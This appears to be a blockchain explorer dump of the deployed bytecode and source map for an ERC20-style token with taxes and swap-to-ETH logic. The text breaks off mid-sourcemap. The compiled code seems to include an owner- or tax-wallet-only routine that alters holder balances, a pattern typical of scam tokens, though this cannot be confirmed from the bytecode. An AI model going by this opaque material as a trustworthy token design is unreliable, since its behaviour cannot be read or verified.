038581169116148015610d0157506008546001600160a01b03848116911614155b8015610d2657506001600160a01b03831660009081526003602052604090205460ff16155b15610d6957610d516064610ccd600c54600f5411610d4657600a54610d4a565b600b545b8590611070565b600f80549192506000610d63836118b0565b91905055505b6009546001600160a01b038481169116148015610d8f57506001600160a01b0384163014155b15610dba57610daf6064610ccd600c54600f5411610d4657600a54610d4a565b9050610dba4761113b565b30600090815260016020526040902054600954600160a81b900460ff16158015610df157506009546001600160a01b038581169116145b8015610e005750600d54600f54115b15610e3e57600554811115610e2c57610e2c610e2784610e2284600654611179565b611179565b61118e565b478015610e3c57610e3c4761113b565b505b505b8015610eba5730600090815260016020526040902054610e609082611308565b30600081815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610eb19085815260200190565b60405180910390a35b6001600160a01b038416600090815260016020526040902054610edd9083611367565b6001600160a01b038516600090815260016020526040902055610f22610f038383611367565b6001600160a01b03851660009081526001602052604090205490611308565b6001600160a01b038085166000818152600160205260409020929092556007541614610f93576001600160a01b038084169085167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610f818585611367565b60405190815260200160405180910390a35b50505050565b60008184841115610fbd5760405162461bcd60e51b81526004016103bd91906113d7565b506000610fca848661180e565b95945050505050565b6009546001600160a01b038481169116141580610ffd57506004546001600160a01b038381169116145b15611030576001600160a01b0383166000908152600160205260408120805483929061102a90849061180e565b90915550505b60105461103e908290611070565b6001600160a01b0383166000908152600160205260408120805490919061106690849061180e565b9091555050505050565b6000826000036110825750600061036c565b600061108e83856117ac565b90508261109b858361183e565b146110f25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016103bd565b9392505050565b60006110f283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506113a9565b6004546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015611175573d6000803e3d6000fd5b5050565b600081831161118857826110f2565b50919050565b6009805460ff60a81b1916600160a81b17905560408051600280825260608201835260009260208301908036833701905050905030816000815181106111d6576111d66117f8565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa15801561122f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112539190611821565b81600181518110611266576112666117f8565b6001600160a01b03928316602091820292909201015260085461128c9130911684610a0b565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906112c59085906000908690309042906004016118c9565b600060405180830381600087803b1580156112df57600080fd5b505af11580156112f3573d6000803e3d6000fd5b50506009805460ff60a81b1916905550505050565b600080611315838561193b565b9050838110156110f25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016103bd565b60006110f283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f99565b600081836113ca5760405162461bcd60e51b81526004016103bd91906113d7565b506000610fca848661183e565b602081526000825180602084015260005b8181101561140557602081860181015160408684010152016113e8565b506000604082850101526040601f19601f83011684010191505092915050565b6001600160a01b03811681146103f257600080fd5b6000806040838503121561144d57600080fd5b823561145881611425565b946020939093013593505050565b60008060006060848603121561147b57600080fd5b833561148681611425565b9250602084013561149681611425565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b604051601f8201601f1916810167ffffffffffffffff811182821017156114e6576114e66114a7565b604052919050565b600067ffffffffffffffff821115611508576115086114a7565b5060051b60200190565b600082601f83011261152357600080fd5b8135611536611531826114ee565b6114bd565b8082825260208201915060208360051b86010192508583111561155857600080fd5b602085015b8381101561157557803583526020928301920161155d565b5095945050505050565b6000806040838503121561159257600080fd5b823567ffffffffffffffff8111156115a957600080fd5b8301601f810185136115ba57600080fd5b80356115c8611531826114ee565b8082825260208201915060208360051b8501019250878311156115ea57600080fd5b6020840193505b8284101561161557833561160481611425565b8252602093840193909101906115f1565b9450505050602083013567ffffffffffffffff81111561163457600080fd5b61164085828601611512565b9150509250929050565b60006020828403121561165c57600080fd5b81356110f281611425565b6000806040838503121561167a57600080fd5b823561168581611425565b9150602083013561169581611425565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b6001815b60018411156116f1578085048111156116d5576116d56116a0565b60018416156116e357908102905b60019390931c9280026116ba565b935093915050565b6000826117085750600161036c565b816117155750600061036c565b816001811461172b576002811461173557611751565b600191505061036c565b60ff841115611746576117466116a0565b50506001821b61036c565b5060208310610133831016604e8410600b8410161715611774575081810a61036c565b61178160001984846116b6565b8060001904821115611795576117956116a0565b029392505050565b60006110f260ff8416836116f9565b808202811582820484141761036c5761036c6116a0565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b8181038181111561036c5761036c6116a0565b60006020828403121561183357600080fd5b81516110f281611425565b60008261185b57634e487b7160e01b600052601260045260246000fd5b500490565b60008060006060848603121561187557600080fd5b5050815160208301516040909301519094929350919050565b6000602082840312156118a057600080fd5b815180151581146110f257600080fd5b6000600182016118c2576118c26116a0565b5060010190565b600060a0820187835286602084015260a0604084015280865180835260c08501915060208801925060005b8181101561191b5783516001600160a01b03168352602093840193909201916001016118f4565b50506001600160a01b039590951660608401525050608001529392505050565b8082018082111561036c5761036c6116a056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220954a87b228dc5342026821c633ee5155c4f66d09f0d88a746a0fc3d730eddc2264736f6c634300081a0033
Deployed Bytecode Sourcemap
3861:8366:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5286:83;;;;;;;;;;-1:-1:-1;5356:5:0;;;;;;;;;;;;-1:-1:-1;;;5356:5:0;;;;5286:83;;;;;;;:::i;:::-;;;;;;;;6169:186;;;;;;;;;;-1:-1:-1;6169:186:0;;;;;:::i;:::-;;:::i;:::-;;;1219:14:1;;1212:22;1194:41;;1182:2;1167:18;6169:186:0;1054:187:1;4415:42:0;;;;;;;;;;;;;;;;;;;1392:25:1;;;1380:2;1365:18;4415:42:0;1246:177:1;5563:95:0;;;;;;;;;;;;;:::i;8818:110::-;;;;;;;;;;;;;:::i;:::-;;7095:396;;;;;;;;;;-1:-1:-1;7095:396:0;;;;;:::i;:::-;;:::i;5472:83::-;;;;;;;;;;-1:-1:-1;5472:83:0;;4701:1;2083:36:1;;2071:2;2056:18;5472:83:0;1941:184:1;9170:471:0;;;;;;;;;;-1:-1:-1;9170:471:0;;;;;:::i;:::-;;:::i;5666:119::-;;;;;;;;;;-1:-1:-1;5666:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;5759:18:0;5732:7;5759:18;;;:9;:18;;;;;;;5666:119;2672:148;;;;;;;;;;;;;:::i;2828:79::-;;;;;;;;;;-1:-1:-1;2866:7:0;2893:6;2828:79;;-1:-1:-1;;;;;2893:6:0;;;5076:51:1;;5064:2;5049:18;2828:79:0;4930:203:1;5377:87:0;;;;;;;;;;-1:-1:-1;5449:7:0;;;;;;;;;;;;-1:-1:-1;;;5449:7:0;;;;5377:87;;5793:192;;;;;;;;;;-1:-1:-1;5793:192:0;;;;;:::i;:::-;;:::i;4360:48::-;;;;;;;;;;;;;;;;7991:815;;;;;;;;;;;;;:::i;5993:168::-;;;;;;;;;;-1:-1:-1;5993:168:0;;;;;:::i;:::-;-1:-1:-1;;;;;6126:18:0;;;6099:7;6126:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5993:168;6169:186;6269:4;6286:39;287:10;6309:7;6318:6;6286:8;:39::i;:::-;-1:-1:-1;6343:4:0;6169:186;;;;;:::o;5563:95::-;5616:7;4220:15;4701:1;4220:2;:15;:::i;:::-;4204:31;;:13;:31;:::i;:::-;5636:14;;5563:95;:::o;8818:110::-;2955:6;;-1:-1:-1;;;;;2955:6:0;287:10;2955:22;2947:67;;;;-1:-1:-1;;;2947:67:0;;;;;;;:::i;:::-;;;;;;;;;8869:51:::1;::::0;8877:10:::1;::::0;8898:21:::1;8869:51:::0;::::1;;;::::0;::::1;::::0;;;8898:21;8877:10;8869:51;::::1;;;;;;;;;;;;;::::0;::::1;;;;;;8818:110::o:0;7095:396::-;7227:4;7244:36;7254:6;7262:9;7273:6;7244:9;:36::i;:::-;7291:170;7314:6;287:10;7362:88;7400:6;7362:88;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;7362:19:0;;;;;;:11;:19;;;;;;;;287:10;7362:33;;;;;;;;;;:37;:88::i;:::-;7291:8;:170::i;:::-;-1:-1:-1;7479:4:0;7095:396;;;;;:::o;9170:471::-;9266:9;9261:373;9285:9;:16;9281:1;:20;9261:373;;;9323:22;9374:7;9382:1;9374:10;;;;;;;;:::i;:::-;;;;;;;9348:9;:23;9358:9;9368:1;9358:12;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1;;;;;9348:23:0;-1:-1:-1;;;;;9348:23:0;;;;;;;;;;;;;:36;;;;:::i;:::-;9323:61;;9399:12;9414:9;9424:1;9414:12;;;;;;;;:::i;:::-;;;;;;;;;;;;-1:-1:-1;;;;;9445:24:0;;;;;;:18;:24;;;;;;;;9414:12;;-1:-1:-1;9445:24:0;;9441:38;;;9471:8;;;;9441:38;2866:7;2893:6;-1:-1:-1;;;;;9502:15:0;;;2893:6;;9502:15;;;;:37;;-1:-1:-1;9529:10:0;;-1:-1:-1;;;;;9521:18:0;;;9529:10;;9521:18;;9502:37;9494:63;;;;-1:-1:-1;;;9494:63:0;;8096:2:1;9494:63:0;;;8078:21:1;8135:2;8115:18;;;8108:30;-1:-1:-1;;;8154:18:1;;;8147:43;8207:18;;9494:63:0;7894:337:1;9494:63:0;9572:50;9581:9;9591:1;9581:12;;;;;;;;:::i;:::-;;;;;;;9595:10;9607:14;9572:8;:50::i;:::-;9308:326;;9261:373;9303:3;;9261:373;;;;9170:471;;:::o;2672:148::-;2955:6;;-1:-1:-1;;;;;2955:6:0;287:10;2955:22;2947:67;;;;-1:-1:-1;;;2947:67:0;;;;;;;:::i;:::-;2779:1:::1;2763:6:::0;;2742:40:::1;::::0;-1:-1:-1;;;;;2763:6:0;;::::1;::::0;2742:40:::1;::::0;2779:1;;2742:40:::1;2810:1;2793:19:::0;;-1:-1:-1;;;;;;2793:19:0::1;::::0;;2672:148::o;5793:192::-;5896:4;5913:42;287:10;5937:9;5948:6;5913:9;:42::i;7991:815::-;2955:6;;-1:-1:-1;;;;;2955:6:0;287:10;2955:22;2947:67;;;;-1:-1:-1;;;2947:67:0;;;;;;;:::i;:::-;8053:11:::1;::::0;-1:-1:-1;;;8053:11:0;::::1;;;8052:12;8044:48;;;::::0;-1:-1:-1;;;8044:48:0;;8438:2:1;8044:48:0::1;::::0;::::1;8420:21:1::0;8477:2;8457:18;;;8450:30;8516:25;8496:18;;;8489:53;8559:18;;8044:48:0::1;8236:347:1::0;8044:48:0::1;8103:15;:104:::0;;-1:-1:-1;;;;;;8103:104:0::1;8154:42;8103:104:::0;;::::1;::::0;;;8219:58:::1;::::0;8236:4:::1;::::0;4220:15:::1;4701:1;4220:2;:15;:::i;:::-;4204:31;::::0;:13:::1;:31;:::i;8219:58::-;8323:15;;;;;;;;;-1:-1:-1::0;;;;;8323:15:0::1;-1:-1:-1::0;;;;;8323:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;8305:55:0::1;;8383:4;8403:15;;;;;;;;;-1:-1:-1::0;;;;;8403:15:0::1;-1:-1:-1::0;;;;;8403:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8305:131;::::0;-1:-1:-1;;;;;;8305:131:0::1;::::0;;;;;;-1:-1:-1;;;;;9036:32:1;;;8305:131:0::1;::::0;::::1;9018:51:1::0;9105:32;;9085:18;;;9078:60;8991:18;;8305:131:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8289:13;:147:::0;;-1:-1:-1;;;;;8289:147:0;;::::1;-1:-1:-1::0;;;;;;8289:147:0;;::::1;;::::0;;8449:15:::1;::::0;::::1;:31;8488:21;8533:4;8586;8553:24;8533:4:::0;-1:-1:-1;;;;;5759:18:0;5732:7;5759:18;;;:9;:18;;;;;;;5666:119;8553:24:::1;:30;::::0;8580:3:::1;8553:30;:::i;:::-;:37;;;;:::i;:::-;8605:1;8621::::0;8637:7:::1;2866::::0;2893:6;-1:-1:-1;;;;;2893:6:0;;2828:79;8637:7:::1;8449:236;::::0;::::1;::::0;;;-1:-1:-1;;;;;;8449:236:0;;;-1:-1:-1;;;;;9692:32:1;;;8449:236:0::1;::::0;::::1;9674:51:1::0;9741:18;;;9734:34;;;;9784:18;;;9777:34;;;;9827:18;;;9820:34;9891:32;;;9870:19;;;9863:61;8659:15:0::1;9940:19:1::0;;;9933:35;9646:19;;8449:236:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;8703:13:0::1;::::0;8734:15:::1;::::0;8696:71:::1;::::0;-1:-1:-1;;;8696:71:0;;-1:-1:-1;;;;;8734:15:0;;::::1;8696:71;::::0;::::1;10614:51:1::0;-1:-1:-1;;10681:18:1;;;10674:34;8703:13:0;::::1;::::0;-1:-1:-1;8696:29:0::1;::::0;10587:18:1;;8696:71:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;8780:11:0::1;:18:::0;;-1:-1:-1;;;;8780:18:0::1;-1:-1:-1::0;;;8780:18:0::1;::::0;;7991:815::o;6363:335::-;-1:-1:-1;;;;;6456:19:0;;6448:68;;;;-1:-1:-1;;;6448:68:0;;11203:2:1;6448:68:0;;;11185:21:1;11242:2;11222:18;;;11215:30;11281:34;11261:18;;;11254:62;-1:-1:-1;;;11332:18:1;;;11325:34;11376:19;;6448:68:0;11001:400:1;6448:68:0;-1:-1:-1;;;;;6535:21:0;;6527:68;;;;-1:-1:-1;;;6527:68:0;;11608:2:1;6527:68:0;;;11590:21:1;11647:2;11627:18;;;11620:30;11686:34;11666:18;;;11659:62;-1:-1:-1;;;11737:18:1;;;11730:32;11779:19;;6527:68:0;11406:398:1;6527:68:0;-1:-1:-1;;;;;6606:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;6658:32;;1392:25:1;;;6658:32:0;;1365:18:1;6658:32:0;;;;;;;6363:335;;;:::o;9649:2534::-;-1:-1:-1;;;;;9745:20:0;;9737:70;;;;-1:-1:-1;;;9737:70:0;;12011:2:1;9737:70:0;;;11993:21:1;12050:2;12030:18;;;12023:30;12089:34;12069:18;;;12062:62;-1:-1:-1;;;12140:18:1;;;12133:35;12185:19;;9737:70:0;11809:401:1;9737:70:0;-1:-1:-1;;;;;9826:22:0;;9818:70;;;;-1:-1:-1;;;9818:70:0;;12417:2:1;9818:70:0;;;12399:21:1;12456:2;12436:18;;;12429:30;12495:34;12475:18;;;12468:62;-1:-1:-1;;;12546:18:1;;;12539:33;12589:19;;9818:70:0;12215:399:1;9818:70:0;9916:1;9907:6;:10;9899:64;;;;-1:-1:-1;;;9899:64:0;;12821:2:1;9899:64:0;;;12803:21:1;12860:2;12840:18;;;12833:30;12899:34;12879:18;;;12872:62;-1:-1:-1;;;12950:18:1;;;12943:39;12999:19;;9899:64:0;12619:405:1;9899:64:0;9974:17;2893:6;;-1:-1:-1;;;;;10024:17:0;;;2893:6;;10024:17;;;;:53;;-1:-1:-1;2866:7:0;2893:6;-1:-1:-1;;;;;10058:19:0;;;2893:6;;10058:19;;10024:53;:93;;;;-1:-1:-1;;;;;;10094:23:0;;10112:4;10094:23;;10024:93;:135;;;;-1:-1:-1;;;;;;10134:25:0;;10154:4;10134:25;;10024:135;10006:1757;;;10198:33;10227:3;10198:24;10209:12;;10198:6;:10;;:24;;;;:::i;:::-;:28;;:33::i;:::-;10280:13;;10186:45;;-1:-1:-1;;;;;;10270:23:0;;;10280:13;;10270:23;:80;;;;-1:-1:-1;10334:15:0;;-1:-1:-1;;;;;10314:36:0;;;10334:15;;10314:36;;10270:80;:130;;;;-1:-1:-1;;;;;;10372:28:0;;;;;;:18;:28;;;;;;;;10371:29;10270:130;10248:475;;;10447:230;10673:3;10447:199;10519:10;;10507:9;;:22;10506:117;;10609:14;;10506:117;;;10562:15;;10506:117;10447:6;;:32;:199::i;:230::-;10696:9;:11;;10435:242;;-1:-1:-1;10696:9:0;:11;;;:::i;:::-;;;;;;10248:475;10755:13;;-1:-1:-1;;;;;10743:25:0;;;10755:13;;10743:25;:52;;;;-1:-1:-1;;;;;;10772:23:0;;10790:4;10772:23;;10743:52;10739:372;;;10828:230;11054:3;10828:199;10900:10;;10888:9;;:22;10887:117;;10990:14;;10887:117;;10828:230;10816:242;;11060:35;11073:21;11060:12;:35::i;:::-;11176:4;11127:28;5759:18;;;:9;:18;;;;;;11220:6;;-1:-1:-1;;;11220:6:0;;;;11219:7;:53;;;;-1:-1:-1;11259:13:0;;-1:-1:-1;;;;;11247:25:0;;;11259:13;;11247:25;11219:53;:104;;;;;11305:18;;11293:9;;:30;11219:104;11197:555;;;11385:17;;11362:20;:40;11358:185;;;11425:118;11469:51;11473:6;11481:38;11485:20;11507:11;;11481:3;:38::i;:::-;11469:3;:51::i;:::-;11425:17;:118::i;:::-;11591:21;11635:22;;11631:106;;11682:35;11695:21;11682:12;:35::i;:::-;11339:413;11197:555;10171:1592;10006:1757;11779:13;;11775:174;;11854:4;11836:24;;;;:9;:24;;;;;;:39;;11865:9;11836:28;:39::i;:::-;11827:4;11809:24;;;;:9;:24;;;;;;;:66;;;;11895:42;;-1:-1:-1;;;;;11895:42:0;;;;;;;11927:9;1392:25:1;;1380:2;1365:18;;1246:177;11895:42:0;;;;;;;;11775:174;-1:-1:-1;;;;;11979:17:0;;;;;;:9;:17;;;;;;:29;;12001:6;11979:21;:29::i;:::-;-1:-1:-1;;;;;11959:17:0;;;;;;:9;:17;;;;;:49;12041:46;12065:21;:6;12076:9;12065:10;:21::i;:::-;-1:-1:-1;;;;;12041:19:0;;;;;;:9;:19;;;;;;;:23;:46::i;:::-;-1:-1:-1;;;;;12019:19:0;;;;;;;:9;:19;;;;;:68;;;;12114:5;;;12102:17;12098:77;;-1:-1:-1;;;;;12126:49:0;;;;;;;12153:21;:6;12164:9;12153:10;:21::i;:::-;12126:49;;1392:25:1;;;1380:2;1365:18;12126:49:0;;;;;;;12098:77;9726:2457;9649:2534;;;:::o;1474:224::-;1594:7;1630:12;1622:6;;;;1614:29;;;;-1:-1:-1;;;1614:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1654:9:0;1666:5;1670:1;1666;:5;:::i;:::-;1654:17;1474:224;-1:-1:-1;;;;;1474:224:0:o;8936:226::-;9027:13;;-1:-1:-1;;;;;9019:21:0;;;9027:13;;9019:21;;;:41;;-1:-1:-1;9050:10:0;;-1:-1:-1;;;;;9044:16:0;;;9050:10;;9044:16;9019:41;9015:81;;;-1:-1:-1;;;;;9071:15:0;;;;;;:9;:15;;;;;:25;;9090:6;;9071:15;:25;;9090:6;;9071:25;:::i;:::-;;;;-1:-1:-1;;9015:81:0;9135:18;;9124:30;;:6;;:10;:30::i;:::-;-1:-1:-1;;;;;9107:13:0;;;;;;:9;:13;;;;;:47;;:13;;;:47;;;;;:::i;:::-;;;;-1:-1:-1;;;;;8936:226:0:o;1706:246::-;1764:7;1788:1;1793;1788:6;1784:47;;-1:-1:-1;1818:1:0;1811:8;;1784:47;1841:9;1853:5;1857:1;1853;:5;:::i;:::-;1841:17;-1:-1:-1;1886:1:0;1877:5;1881:1;1841:17;1877:5;:::i;:::-;:10;1869:56;;;;-1:-1:-1;;;1869:56:0;;13371:2:1;1869:56:0;;;13353:21:1;13410:2;13390:18;;;13383:30;13449:34;13429:18;;;13422:62;-1:-1:-1;;;13500:18:1;;;13493:31;13541:19;;1869:56:0;13169:397:1;1869:56:0;1943:1;1706:246;-1:-1:-1;;;1706:246:0:o;1960:132::-;2018:7;2045:39;2049:1;2052;2045:39;;;;;;;;;;;;;;;;;:3;:39::i;6706:92::-;6763:10;;:27;;-1:-1:-1;;;;;6763:10:0;;;;:27;;;;;6783:6;;6763:10;:27;:10;:27;6783:6;6763:10;:27;;;;;;;;;;;;;;;;;;;;;6706:92;:::o;5171:107::-;5228:7;5260:1;5256;:5;5255:15;;5269:1;5255:15;;;-1:-1:-1;5265:1:0;5171:107;-1:-1:-1;5171:107:0:o;7499:484::-;4749:6;:13;;-1:-1:-1;;;;4749:13:0;-1:-1:-1;;;4749:13:0;;;7602:16:::1;::::0;;7616:1:::1;7602:16:::0;;;;;::::1;::::0;;-1:-1:-1;;7602:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;7602:16:0::1;7578:40;;7647:4;7629;7634:1;7629:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7629:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;7673:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;7673:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;7629:7;;7673:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;7663:4;7668:1;7663:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;7663:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;7738:15:::1;::::0;7706:62:::1;::::0;7723:4:::1;::::0;7738:15:::1;7756:11:::0;7706:8:::1;:62::i;:::-;7779:15;::::0;:196:::1;::::0;-1:-1:-1;;;7779:196:0;;-1:-1:-1;;;;;7779:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;7860:11;;7779:15:::1;::::0;7902:4;;7929::::1;::::0;7949:15:::1;::::0;7779:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;4785:6:0;:14;;-1:-1:-1;;;;4785:14:0;;;-1:-1:-1;;;;7499:484:0:o;1143:179::-;1201:7;;1233:5;1237:1;1233;:5;:::i;:::-;1221:17;;1262:1;1257;:6;;1249:46;;;;-1:-1:-1;;;1249:46:0;;14867:2:1;1249:46:0;;;14849:21:1;14906:2;14886:18;;;14879:30;14945:29;14925:18;;;14918:57;14992:18;;1249:46:0;14665:351:1;1330:136:0;1388:7;1415:43;1419:1;1422;1415:43;;;;;;;;;;;;;;;;;:3;:43::i;2100:223::-;2220:7;2255:12;2248:5;2240:28;;;;-1:-1:-1;;;2240:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2279:9:0;2291:5;2295:1;2291;:5;:::i;14:527:1:-;163:2;152:9;145:21;126:4;195:6;189:13;238:6;233:2;222:9;218:18;211:34;263:1;273:140;287:6;284:1;281:13;273:140;;;398:2;382:14;;;378:23;;372:30;367:2;348:17;;;344:26;337:66;302:10;273:140;;;277:3;462:1;457:2;448:6;437:9;433:22;429:31;422:42;532:2;525;521:7;516:2;508:6;504:15;500:29;489:9;485:45;481:54;473:62;;;14:527;;;;:::o;546:131::-;-1:-1:-1;;;;;621:31:1;;611:42;;601:70;;667:1;664;657:12;682:367;750:6;758;811:2;799:9;790:7;786:23;782:32;779:52;;;827:1;824;817:12;779:52;866:9;853:23;885:31;910:5;885:31;:::i;:::-;935:5;1013:2;998:18;;;;985:32;;-1:-1:-1;;;682:367:1:o;1428:508::-;1505:6;1513;1521;1574:2;1562:9;1553:7;1549:23;1545:32;1542:52;;;1590:1;1587;1580:12;1542:52;1629:9;1616:23;1648:31;1673:5;1648:31;:::i;:::-;1698:5;-1:-1:-1;1755:2:1;1740:18;;1727:32;1768:33;1727:32;1768:33;:::i;:::-;1428:508;;1820:7;;-1:-1:-1;;;1900:2:1;1885:18;;;;1872:32;;1428:508::o;2130:127::-;2191:10;2186:3;2182:20;2179:1;2172:31;2222:4;2219:1;2212:15;2246:4;2243:1;2236:15;2262:275;2333:2;2327:9;2398:2;2379:13;;-1:-1:-1;;2375:27:1;2363:40;;2433:18;2418:34;;2454:22;;;2415:62;2412:88;;;2480:18;;:::i;:::-;2516:2;2509:22;2262:275;;-1:-1:-1;2262:275:1:o;2542:183::-;2602:4;2635:18;2627:6;2624:30;2621:56;;;2657:18;;:::i;:::-;-1:-1:-1;2702:1:1;2698:14;2714:4;2694:25;;2542:183::o;2730:723::-;2784:5;2837:3;2830:4;2822:6;2818:17;2814:27;2804:55;;2855:1;2852;2845:12;2804:55;2895:6;2882:20;2922:64;2938:47;2978:6;2938:47;:::i;:::-;2922:64;:::i;:::-;3010:3;3034:6;3029:3;3022:19;3066:4;3061:3;3057:14;3050:21;;3127:4;3117:6;3114:1;3110:14;3102:6;3098:27;3094:38;3080:52;;3155:3;3147:6;3144:15;3141:35;;;3172:1;3169;3162:12;3141:35;3208:4;3200:6;3196:17;3222:200;3238:6;3233:3;3230:15;3222:200;;;3330:17;;3360:18;;3407:4;3398:14;;;;3255;3222:200;;;-1:-1:-1;3440:7:1;2730:723;-1:-1:-1;;;;;2730:723:1:o;3458:1215::-;3576:6;3584;3637:2;3625:9;3616:7;3612:23;3608:32;3605:52;;;3653:1;3650;3643:12;3605:52;3693:9;3680:23;3726:18;3718:6;3715:30;3712:50;;;3758:1;3755;3748:12;3712:50;3781:22;;3834:4;3826:13;;3822:27;-1:-1:-1;3812:55:1;;3863:1;3860;3853:12;3812:55;3903:2;3890:16;3926:64;3942:47;3982:6;3942:47;:::i;3926:64::-;4012:3;4036:6;4031:3;4024:19;4068:4;4063:3;4059:14;4052:21;;4125:4;4115:6;4112:1;4108:14;4104:2;4100:23;4096:34;4082:48;;4153:7;4145:6;4142:19;4139:39;;;4174:1;4171;4164:12;4139:39;4206:4;4202:2;4198:13;4187:24;;4220:221;4236:6;4231:3;4228:15;4220:221;;;4318:3;4305:17;4335:31;4360:5;4335:31;:::i;:::-;4379:18;;4426:4;4253:14;;;;4417;;;;4220:221;;;4460:5;-1:-1:-1;;;;4518:4:1;4503:20;;4490:34;4549:18;4536:32;;4533:52;;;4581:1;4578;4571:12;4533:52;4604:63;4659:7;4648:8;4637:9;4633:24;4604:63;:::i;:::-;4594:73;;;3458:1215;;;;;:::o;4678:247::-;4737:6;4790:2;4778:9;4769:7;4765:23;4761:32;4758:52;;;4806:1;4803;4796:12;4758:52;4845:9;4832:23;4864:31;4889:5;4864:31;:::i;5138:388::-;5206:6;5214;5267:2;5255:9;5246:7;5242:23;5238:32;5235:52;;;5283:1;5280;5273:12;5235:52;5322:9;5309:23;5341:31;5366:5;5341:31;:::i;:::-;5391:5;-1:-1:-1;5448:2:1;5433:18;;5420:32;5461:33;5420:32;5461:33;:::i;:::-;5513:7;5503:17;;;5138:388;;;;;:::o;5531:127::-;5592:10;5587:3;5583:20;5580:1;5573:31;5623:4;5620:1;5613:15;5647:4;5644:1;5637:15;5663:375;5751:1;5769:5;5783:249;5804:1;5794:8;5791:15;5783:249;;;5854:4;5849:3;5845:14;5839:4;5836:24;5833:50;;;5863:18;;:::i;:::-;5913:1;5903:8;5899:16;5896:49;;;5927:16;;;;5896:49;6010:1;6006:16;;;;;5966:15;;5783:249;;;5663:375;;;;;;:::o;6043:902::-;6092:5;6122:8;6112:80;;-1:-1:-1;6163:1:1;6177:5;;6112:80;6211:4;6201:76;;-1:-1:-1;6248:1:1;6262:5;;6201:76;6293:4;6311:1;6306:59;;;;6379:1;6374:174;;;;6286:262;;6306:59;6336:1;6327:10;;6350:5;;;6374:174;6411:3;6401:8;6398:17;6395:43;;;6418:18;;:::i;:::-;-1:-1:-1;;6474:1:1;6460:16;;6533:5;;6286:262;;6632:2;6622:8;6619:16;6613:3;6607:4;6604:13;6600:36;6594:2;6584:8;6581:16;6576:2;6570:4;6567:12;6563:35;6560:77;6557:203;;;-1:-1:-1;6669:19:1;;;6745:5;;6557:203;6792:42;-1:-1:-1;;6817:8:1;6811:4;6792:42;:::i;:::-;6870:6;6866:1;6862:6;6858:19;6849:7;6846:32;6843:58;;;6881:18;;:::i;:::-;6919:20;;6043:902;-1:-1:-1;;;6043:902:1:o;6950:140::-;7008:5;7037:47;7078:4;7068:8;7064:19;7058:4;7037:47;:::i;7095:168::-;7168:9;;;7199;;7216:15;;;7210:22;;7196:37;7186:71;;7237:18;;:::i;7268:356::-;7470:2;7452:21;;;7489:18;;;7482:30;7548:34;7543:2;7528:18;;7521:62;7615:2;7600:18;;7268:356::o;7629:127::-;7690:10;7685:3;7681:20;7678:1;7671:31;7721:4;7718:1;7711:15;7745:4;7742:1;7735:15;7761:128;7828:9;;;7849:11;;;7846:37;;;7863:18;;:::i;8588:251::-;8658:6;8711:2;8699:9;8690:7;8686:23;8682:32;8679:52;;;8727:1;8724;8717:12;8679:52;8759:9;8753:16;8778:31;8803:5;8778:31;:::i;9149:217::-;9189:1;9215;9205:132;;9259:10;9254:3;9250:20;9247:1;9240:31;9294:4;9291:1;9284:15;9322:4;9319:1;9312:15;9205:132;-1:-1:-1;9351:9:1;;9149:217::o;9979:456::-;10067:6;10075;10083;10136:2;10124